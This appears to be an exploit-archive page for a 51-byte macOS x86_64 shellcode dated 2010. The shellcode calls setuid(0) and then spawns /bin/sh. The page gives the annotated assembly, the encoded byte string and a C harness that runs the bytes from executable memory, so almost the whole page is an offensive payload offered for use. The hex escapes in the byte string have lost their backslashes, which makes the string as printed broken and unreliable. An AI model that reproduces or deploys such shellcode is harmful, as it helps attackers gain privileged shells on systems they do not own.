[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OSX/Intel - setuid shell x86_64 - 51 bytes
# Published : 2010-11-25
# Author :
# Previous Title : Savant 3.1 Web Server Overflow
# Next Title : [Raspberry Pi] Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes
/*
* Title: OSX/Intel - setuid shell x86_64 - 51 bytes
* Date: 2010-11-25
* Tested on: Mac OS X 10.6.5 - Darwin Kernel Version 10.5.0
* Author: Dustin Schultz - twitter: @thexploit
*
* http://thexploit.com
*
* BITS 64
*
* section .text
* global start
*
* start:
* a:
* mov r8b, 0x02 ; Unix class system calls = 2
* shl r8, 24 ; shift left 24 to the upper order bits
* or r8, 0x17 ; setuid = 23, or with class = 0x2000017
* xor edi, edi ; zero out edi
* mov rax, r8 ; syscall number in rax
* syscall ; invoke kernel
* jmp short c ; jump to c
* b:
* pop rdi ; pop ret addr which = addr of /bin/sh
* add r8, 0x24 ; execve = 59, 0x24+r8=0x200003b
* mov rax, r8 ; syscall number in rax
* xor rdx, rdx ; zero out rdx
* push rdx ; null terminate rdi, pushed backwards
* push rdi ; push rdi = pointer to /bin/sh
* mov rsi, rsp ; pointer to null terminated /bin/sh string
* syscall ; invoke the kernel
* c:
* call b ; call b, push ret of /bin/sh
* db '/bin//sh' ; /bin/sh string
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"x41xb0x02x49xc1xe0x18x49x83xc8x17x31xffx4cx89xc0"
"x0fx05xebx12x5fx49x83xc0x24x4cx89xc0x48x31xd2x52"
"x57x48x89xe6x0fx05xe8xe9xffxffxffx2fx62x69x6ex2f"
"x2fx73x68";
int main(int argc, char **argv) {
void *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}